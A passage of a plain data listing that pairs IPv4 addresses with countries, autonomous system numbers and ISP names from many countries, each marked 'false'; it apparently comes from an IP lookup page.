 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
5.4.88.82
 unknown Germany
6805 TDDE-ASN1DE false
67.69.177.81
 unknown Canada
577 BACOMCA false
191.105.49.234
 unknown Colombia
61317 ASDETUKhttpwwwheficedcomGB false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
186.124.159.227
 unknown Argentina
7303 TelecomArgentinaSAAR false
134.49.197.113
 unknown United States
23138 FIRST-STEPUS false
119.149.21.179
 unknown Korea Republic of
38091 HELLONET-AS-KRLGHelloVisionCorpKR false
64.88.94.246
 unknown United States
26463 MISD-NETUS false
132.157.107.251
 unknown Peru
21575 ENTELPERUSAPE false
76.68.94.133
 unknown Canada
577 BACOMCA false
43.124.232.40
 unknown Japan 4249 LILLY-ASUS false
146.114.152.212
 unknown United States
1226 CTA-42-AS1226US false
141.14.92.147
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
158.237.109.21
 unknown United States
1540 DNIC-ASBLK-01534-01546US false
34.86.59.93
 unknown United States
15169 GOOGLEUS false
208.164.10.187
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
83.153.84.47
 unknown France
12322 PROXADFR false
123.1.173.144
 unknown Hong Kong
17444 NWT-AS-APASnumberforNewWorldTelephoneLtdHK false
103.19.149.151
 unknown India
38625 CJONLINECJONLINEISPIndiaIN false
86.53.156.155
 unknown United Kingdom
8190 MDNXGB false
93.250.227.66
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
189.198.194.140
 unknown Mexico
13999 MegaCableSAdeCVMX false
45.102.167.242
 unknown Egypt
37069 MOBINILEG false
139.226.193.112
 unknown China
17621 CNCGROUP-SHChinaUnicomShanghainetworkCN false
59.30.171.138
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
88.40.94.232
 unknown Italy
3269 ASN-IBSNAZIT false
217.121.159.164
 unknown Netherlands
33915 TNF-ASNL false
65.33.134.243
 unknown United States
33363 BHN-33363US false